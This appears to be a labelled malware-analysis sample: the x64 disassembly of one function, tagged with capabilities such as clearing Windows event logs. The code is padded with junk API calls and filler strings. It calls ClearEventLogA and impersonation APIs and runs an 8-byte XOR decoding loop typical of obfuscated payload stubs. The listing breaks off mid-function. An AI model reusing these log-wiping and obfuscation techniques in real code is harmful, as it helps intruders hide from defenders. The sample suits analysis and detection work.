Function at 0x40b37d
Capabilities:
Access the windows event log
Clear windows event logs
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov rax, qword [0x004cc250]
cmp dword [rax], 0x7873
mov qword [rsp + 0xc0], rcx
mov dword [rsp + 0xc8], edx
mov qword [rsp + 0xd0], r8
jle 0x40b8df
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call r12
mov r14, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
call r14
mov rsi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rbx
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rdi
lea rdx, str.Ipsam_molestiae_molestiae_et_odio_odit_ad
lea rcx, str.ReeseNolan
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
xor ecx, ecx
call rsi
mov rsi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Illum_nobis_quod_et_vero_magni_eum_labore_non_debitis_excepturi
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cbdd0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc1d0]
lea rdx, str.MsThaliaHarveyDDS
lea rcx, str.AnneTrantowIV
mov dword [rdi], eax
mov rax, qword [0x004cbe60]
mov rdi, qword [0x004cc240]
mov eax, dword [rax]
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov rax, qword [0x004cc230]
mov rbp, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rax], 0x462da55d
call rbp
mov rax, qword [0x004cbdb0]
mov ecx, 0x9c93b23d
mov dword [rax], 0x80b82b8d
call fcn.00413350
mov rdx, qword [0x004cc330]
mov dword [rdx], eax
mov rax, qword [0x004cbda0]
mov dword [rax], 0x33546529
mov rax, qword [0x004cbe90]
mov edx, dword [rax]
mov rax, qword [0x004cbc90]
mov dword [rax], edx
mov rax, qword [0x004cc0b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc050]
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.RuthLittel
mov dword [rdi], eax
call r13
mov r15, qword [0x004cc0c0]
mov ecx, dword [r15]
call fcn.00413350
mov rdx, qword [0x004cc430]
mov ecx, 0x45599de6
mov dword [rdx], eax
call fcn.00413350
mov rdi, qword [0x004cbec0]
xor edx, edx
lea rcx, str.IanHane
mov dword [rdi], eax
call rsi
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rdi
mov rax, qword [0x004cbd10]
mov rdx, qword [0x004cbe50]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbc30]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc220]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004cc170]
mov rdx, qword [0x004cc240]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc100]
mov rdx, qword [0x004cbd60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbc40]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc390]
mov dword [rdx], eax
mov rax, qword [0x004cbee0]
mov dword [rax], 0x9a7430d0
mov rax, qword [0x004cbe50]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc060]
mov dword [rdx], eax
mov rax, qword [0x004cbe30]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbda0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc1f0]
mov dword [rax], 0x3c674e09
call rbp
mov r11, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x30], r11
call r11
mov ecx, 0x37358bba
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
call rbx
mov r10, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.LoyRaynor
mov qword [rsp + 0x28], r10
call r10
xor ecx, ecx
call rbx
mov rax, qword [0x004cbc60]
lea rcx, str.BarbaraSimonis
mov edx, dword [rax]
mov rax, qword [0x004cbd90]
mov dword [rax], edx
xor edx, edx
call rsi
mov rbp, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cc300]
lea rcx, str.JacksonWatsica
mov edx, dword [rax]
mov rax, qword [0x004cc180]
mov dword [rax], edx
mov rax, qword [0x004cc0e0]
xor edx, edx
mov dword [rax], 0x149254d4
call r13
lea rdx, str.Culpa_id_error_maxime_dolor
mov r13, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
call r13
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_GetFileType]
call r15
mov rax, qword [0x004cc470]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbdf0]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.Dolores_iste_perferendis_sed
call r13
mov rax, qword [0x004cbe40]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbbd0]
mov ecx, 0xece360a5
mov r13, qword [0x004cc370]
mov dword [rdx], eax
mov rax, qword [0x004cc3f0]
mov rdx, qword [0x004cbd20]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbe80]
mov dword [rax], 0x3097baff
mov rax, qword [0x004cbee0]
mov eax, dword [rax]
mov dword [r13], eax
call fcn.00413350
mov rdx, qword [0x004cbcd0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor ecx, ecx
call r12
mov rax, qword [0x004cc3e0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbe80]
mov dword [rdx], eax
mov rax, qword [0x004cc3b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc4c0]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov rax, qword [0x004cc1d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc310]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc470]
xor edx, edx
mov dword [rax], 0x4e0d2f2d
mov rax, qword [rsp + 0x20]
call rax
mov rax, qword [0x004cbd20]
mov ecx, 0x7a2018eb
mov dword [rax], 0x8214fc7f
call fcn.00413350
mov rdx, qword [0x004cbec0]
mov dword [rdx], eax
mov rax, qword [0x004cbbd0]
mov ecx, dword [rax]
call fcn.00413350
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
call rbp
mov rax, qword [0x004cc120]
mov rdx, qword [0x004cbda0]
xor ecx, ecx
mov dword [rax], 0x87994a73
mov rax, qword [0x004cbc40]
mov eax, dword [rax]
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call r12
mov ecx, 0xad4a4ece
call fcn.00413350
mov rdx, qword [0x004cbd60]
mov dword [rdx], eax
mov rax, qword [0x004cbe30]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbe30]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc1b0]
mov dword [rax], 0x9d6d6b01
call rdi
mov rax, qword [0x004cc050]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6aedb804
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov ecx, 0x68f4edfc
call fcn.00413350
mov rdx, qword [0x004cc400]
mov r11, qword [rsp + 0x30]
xor ecx, ecx
mov dword [rdx], eax
call r11
xor edx, edx
xor ecx, ecx
call rbp
mov ecx, 0xb3d28197
call fcn.00413350
mov rdx, qword [0x004cbd10]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov r10, qword [rsp + 0x28]
lea r8, str.NyaProsacco
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004cbe60]
xor ecx, ecx
mov dword [rax], 0x546db543
call r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
lea rcx, str.JensenBergnaum
call rsi
xor ecx, ecx
call r14
mov ecx, 0x53291b54
call fcn.00413350
mov rdx, qword [0x004cbed0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor r9d, r9d
mov rax, qword [0x004cc250]
mov dword [rsp + 0x50], r9d
mov eax, dword [rax]
cmp dword [rsp + 0xc8], r9d
jle 0x40c7c1
cmp eax, 0x195d
jne 0x40c197
mov qword [rsp + 0x68], r9
xor edx, edx
lea rcx, str.Omnis_est_velit_cumque_quidem_nemo
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Rerum_mollitia_inventore_et_consequatur_eligendi_sapiente_eligendi_dolores_ipsum
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov rax, qword [0x004cc130]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbe80]
mov rsi, qword [0x004cbed0]
mov ecx, dword [rbx]
mov dword [rsi], eax
call fcn.00413350
mov rdx, qword [0x004cc470]
lea r8, str.Nisi_pariatur_vel_aut_numquam_voluptate_dolorem
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [rdx], eax
mov rax, qword [0x004cc4a0]
xor edx, edx
mov dword [rax], 0x2ffba3b
call rbp
mov r12, qword [0x004cc350]
mov rsi, qword [0x004cbbe0]
mov eax, dword [r12]
mov dword [rsi], eax
mov rsi, qword [0x004cc330]
mov ecx, dword [rsi]
call fcn.00413350
mov rdi, qword [0x004cbc40]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov qword [rsp + 0x28], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x30], rax
call rax
mov rax, qword [0x004cbc20]
xor edx, edx
xor ecx, ecx
mov rdi, qword [0x004cc410]
mov dword [rax], 0x5d32f2ac
mov rax, qword [0x004cc370]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov qword [rsp + 0x40], rax
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov edx, dword [rsi]
mov rax, qword [0x004cbd40]
xor ecx, ecx
mov dword [rax], edx
mov rax, qword [0x004cc1a0]
mov edx, dword [rax]
mov rax, qword [0x004cbc80]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x38], rax
call rax
mov rax, qword [0x004cbe90]
xor edx, edx
lea rcx, str.Quisquam_sint_quae
mov dword [rax], 0x2f18ac33
mov rax, qword [0x004cbe10]
mov dword [rax], 0xac5426d1
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r14
mov eax, dword [rbx]
mov rsi, qword [0x004cc130]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [rsp + 0x38]
call rax
xor edx, edx
lea rcx, str.Illum_et_quia_saepe
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov rax, qword [0x004cbbc0]
mov rbx, qword [0x004cc430]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cbdf0]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc070]
mov r15, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cc1f0]
mov edx, dword [rax]
mov rax, qword [0x004cc220]
mov dword [rax], edx
xor edx, edx
call r15
mov ecx, 0x4351c2c5
call fcn.00413350
mov rsi, qword [0x004cc420]
mov ecx, 0xa8432ad3
mov dword [rsi], eax
call fcn.00413350
mov r13, qword [0x004cc3b0]
mov ecx, 0x6c0f4ff3
mov dword [r13], eax
mov rax, qword [0x004cbeb0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cc110]
mov edx, dword [rax]
mov rax, qword [0x004cc2c0]
mov dword [rax], edx
mov rax, qword [0x004cc1e0]
mov dword [rax], 0xad8fc009
call fcn.00413350
mov rsi, qword [0x004cbca0]
mov rdi, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov dword [rsi], eax
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
lea rdx, str.VanWintheiser
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Quo_ipsa_tempora_cupiditate_atque_quasi_rem_est_voluptas
call rsi
mov rax, qword [0x004cc390]
mov dword [rax], 0xa661a7e2
mov rax, qword [0x004cbd50]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004cc3c0]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc120]
mov dword [rbx], eax
mov rax, qword [0x004cbc90]
mov dword [rax], 0x4af45817
mov rax, qword [0x004cc310]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbcc0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
xor ecx, ecx
call r14
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
call rbx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc370]
mov dword [rax], 0x7348f3c1
mov rax, qword [0x004cbca0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc070]
mov dword [rdx], eax
mov rax, qword [0x004cc300]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc0b0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cbd60]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbed0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004cbd70]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbdc0]
lea rcx, str.MrsTracyKonopelski
mov dword [rdx], eax
lea rdx, str.PaxtonOKon
call rsi
mov ecx, dword [r12]
call fcn.00413350
mov r11, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rdx, qword [0x004cc3d0]
mov qword [rsp + 0x60], r11
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call r11
mov rax, qword [0x004cc0d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc1b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbc40]
mov edx, dword [rax]
mov rax, qword [0x004cc190]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x48], rax
call rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
call rdi
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call rax
mov ecx, 0xeed3b1bc
call fcn.00413350
mov rdx, qword [0x004cbcf0]
xor ecx, ecx
mov dword [r12], 0x70502bf9
mov dword [rdx], eax
mov rax, qword [0x004cbdf0]
mov dword [rax], 0x5e80d5a0
call rbx
xor ecx, ecx
call r14
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x20]
call rax
mov r12, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.Praesentium_in_adipisci_amet_sit_pariatur_officia
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cc140]
mov ecx, dword [rax]
call fcn.00413350
mov r10, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov rdx, qword [0x004cc440]
xor ecx, ecx
mov qword [rsp + 0x58], r10
mov dword [rdx], eax
call r10
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cbc60]
mov edx, dword [r13]
xor ecx, ecx
mov dword [rax], 0xa8415ee2
mov rax, qword [0x004cc480]
mov dword [rax], edx
mov rax, qword [0x004cc3e0]
mov rdx, qword [0x004cc0b0]
mov eax, dword [rax]
mov dword [rdx], eax
call r14
xor ecx, ecx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cbe70]
mov ecx, dword [rax]
call fcn.00413350
mov r14, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
call r14
mov rax, qword [0x004cc1f0]
mov rdx, qword [0x004cc090]
xor ecx, ecx
mov r11, qword [rsp + 0x60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc410]
xor edx, edx
mov dword [rax], 0x36d7f332
call r11
mov ecx, 0x57112240
call fcn.00413350
mov rdx, qword [0x004cc1c0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x20]
call rax
mov ecx, 0xb7406b64
call fcn.00413350
mov rdx, qword [0x004cbce0]
lea r8, str.MurielNitzsche
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
mov rax, qword [str._mf]
xor ecx, ecx
mov dword [rax], 0x5d0542b3
call rsi
mov rax, qword [0x004cc400]
mov dword [rax], 0xe02c0cf4
mov rax, qword [0x004cbd90]
mov ecx, dword [rax]
call fcn.00413350
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [r13], eax
call r15
mov ecx, 0x541c3dd9
call fcn.00413350
mov rdx, qword [0x004cbd10]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.Sunt_architecto_error_natus_non_eligendi_fugiat_necessitatibus_dolores
call r12
mov r13, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.ReginaldSpencerV
lea rcx, str.Voluptas_quo_eum_facere_ut
call r13
mov rax, qword [0x004cc410]
mov rdx, qword [0x004cc370]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc0d0]
xor edx, edx
mov dword [rax], 0xba96c62f
mov rax, qword [0x004cbeb0]
mov dword [rax], 0x64d28746
call r14
lea rdx, str.MissLaurynWhite
xor ecx, ecx
call r12
xor ecx, ecx
call rsi
xor ecx, ecx
call rdi
lea r8, str.Aut_cupiditate_quisquam_sunt_voluptatem_enim_reiciendis_quidem_id_fuga
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cc4a0]
mov rdx, qword [0x004cc130]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
xor ecx, ecx
call rbx
xor ecx, ecx
call r15
mov rax, qword [0x004cc370]
xor ecx, ecx
mov dword [rax], 0x2d0adf37
mov rax, qword [0x004cbe70]
mov dword [rax], 0xa8723bfe
mov rax, qword [rsp + 0x30]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x38]
call rax
mov rax, qword [0x004cbeb0]
xor ecx, ecx
mov dword [rax], 0x45efecd5
mov rax, qword [0x004cc0e0]
mov dword [rax], 0xde018405
call rsi
xor edx, edx
lea rcx, str.KayliLabadie
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov rax, qword [0x004cc120]
mov rdx, qword [0x004cbe10]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rdi
xor ecx, ecx
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x20]
call rax
mov rax, qword [0x004cc170]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc360]
mov dword [rax], edx
lea rdx, str.EldaKulas
call r12
mov rax, qword [0x004cc090]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbbf0]
mov ecx, 0x393239fa
mov dword [rdx], eax
call fcn.00413350
mov rdi, qword [0x004cc2f0]
xor edx, edx
lea rcx, str.EstelRolfson
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea r8, str.Cum_est_sed_a_fuga_praesentium_qui
xor edx, edx
xor ecx, ecx
call rbp
mov ecx, 0x7b4251bd
call fcn.00413350
mov rdx, qword [0x004cc460]
mov ecx, 0xaa38d840
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc160]
mov r10, qword [rsp + 0x58]
xor ecx, ecx
mov dword [rdx], eax
call r10
lea rdx, str.MrTorranceFeil
lea rcx, str.Odit_debitis_rerum_id_ipsam_et_et_ducimus_autem
call r13
mov rax, qword [0x004cbe50]
lea rdx, str.EinarRoobMD
xor ecx, ecx
mov dword [rax], 0xcb087ccb
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cc4c0]
mov rdx, qword [0x004cc3c0]
xor ecx, ecx
lea r8, str.Aut_aut_sint_nulla_architecto_modi_ipsa_vero_rem
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbp
mov rax, qword [0x004cbe90]
mov rdx, qword [0x004cc1a0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cbdd0]
mov rdx, qword [0x004cbe70]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
lea r8, str.FrancescoHintzMD
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cc4b0]
lea rcx, str.VictorWaelchi
mov edx, dword [rax]
mov rax, qword [0x004cc2b0]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004cc150]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004cc3c0]
xor r8d, r8d
mov dword [rax], 0xa74be71f
mov rax, qword [0x004cc3e0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [rsp + 0x20]
call rax
xor edx, edx
lea rcx, str.MrDerickGibsonIII
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor ecx, ecx
call rsi
lea r8, str.Sit_voluptas_dicta_consequatur_deserunt_excepturi_rerum_amet_sed
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cbd60]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc420]
mov dword [rbx], eax
mov rax, qword [0x004cc410]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbbe0]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
call r14
mov edx, dword [rdi]
mov rax, qword [0x004cbcb0]
xor ecx, ecx
mov dword [rax], edx
call rsi
mov rax, qword [0x004cbe30]
mov rsi, qword [0x004cc3c0]
mov r9, qword [rsp + 0x68]
mov dword [rax], 0x37c679d4
mov rax, qword [0x004cbe00]
mov eax, dword [rax]
mov dword [rsi], eax
mov eax, dword [rsp + 0x50]
mov rdi, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xc0]
and eax, 7
mov al, byte [rdi + rax]
xor byte [rsi + r9], al
mov rax, qword [0x004cc250]
cmp dword [rax], 0
je 0x40c7b9
mov qword [rsp + 0x58], r9
mov rbx, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rbx
mov rbp, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.MrsConnieOlson
call rbp
mov rax, qword [0x004cc180]
mov rdi, qword [0x004cc420]
mov ecx, 0x530ef22d
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00413350
mov rdx, qword [0x004cc0f0]
mov rsi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc360]
mov dword [rax], 0x923abb7c
call rsi
xor edx, edx
lea rcx, str.Excepturi_soluta_ipsum_nulla
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004cc090]
mov rdi, qword [0x004cc490]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc3a0]
mov dword [rax], 0x6c94cda
mov rax, qword [0x004cbdc0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cbbf0]
xor edx, edx
lea rcx, str.Esse_culpa_aut_aut_esse
mov dword [rdi], eax
call rbp
xor edx, edx
xor ecx, ecx
call rbx
mov r13, qword [0x004cbdf0]
mov r10, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
mov rax, qword [0x004cbc70]
mov edx, dword [r13]
mov qword [rsp + 0x50], r10
mov dword [rax], edx
lea rdx, str.AdeleCummerata
call r10
mov rax, qword [0x004cc1f0]
mov r12, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
mov dword [rax], 0x9a6f495a
mov rax, qword [0x004cc320]
mov edx, dword [rax]
mov rax, qword [0x004cc400]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004cc1d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc310]
mov dword [rax], edx
mov rax, qword [0x004cc440]
xor edx, edx
mov dword [rax], 0xcf22a820
mov rax, qword [0x004cc460]
mov dword [rax], 0x2bf01d75
mov rax, qword [0x004cc480]
mov dword [rax], 0x1633841e
call r12
xor edx, edx
lea rcx, str.NoreneNolan
call rbp
mov rax, qword [0x004cbc40]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x9cffe9c3
call r12
mov rax, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x20], rax
call rax
xor edx, edx
mov r14, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor ecx, ecx
lea r8, str.Est_eligendi_voluptates
call r14
lea r8, str.Ut_recusandae_sint_veniam_neque_doloribus_sint_porro_explicabo
xor edx, edx
xor ecx, ecx
call r14
lea rdx, str.ClaraBartellI
lea rcx, str.MissJennyferLittelV
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x28], rax
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbcf0]
mov rdx, qword [0x004cc080]
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov eax, dword [rax]
mov dword [rdx], eax
call r15
mov ecx, 0x563d4a50
mov dword [r13], 0x755ceb2b
call fcn.00413350
mov rdx, qword [0x004cbbe0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov qword [rsp + 0x40], rax
call rax
mov ecx, 0x51af9eb0
call fcn.00413350
mov ecx, 0xa96b92a2
mov dword [rdi], eax
mov rax, qword [0x004cc070]
mov dword [rax], 0x83722a37
mov rax, qword [0x004cc120]
mov dword [rax], 0x93b0fe4c
call fcn.00413350
mov r14, qword [0x004cbd40]
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x30], rax
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov qword [rsp + 0x38], rax
call rax
xor ecx, ecx
call rsi
mov rax, qword [0x004cbba0]
mov rdi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbe90]
mov dword [rax], edx
call rdi
mov ecx, 0x2e3af771
call fcn.00413350
mov rdx, qword [0x004cbd00]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x38]
call rax
mov r11, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.TreyHermiston
lea rcx, str.Officia_nihil_veritatis_et_similique_commodi_vero_porro_vel_quidem
mov qword [rsp + 0x48], r11
call r11
xor edx, edx
xor ecx, ecx
call rbx
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rsi
mov ecx, 0x5331ee3e
call fcn.00413350
mov rdx, qword [0x004cc420]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor r8d, r8d
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call r13
mov ecx, 0x8ff178d9
call fcn.00413350
mov rdx, qword [0x004cc320]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004cbce0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbe20]
mov dword [rax], edx
mov rax, qword [0x004cc0d0]
mov edx, dword [r14]
mov r14, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rax], 0x7d1edeb6
mov rax, qword [0x004cc4b0]
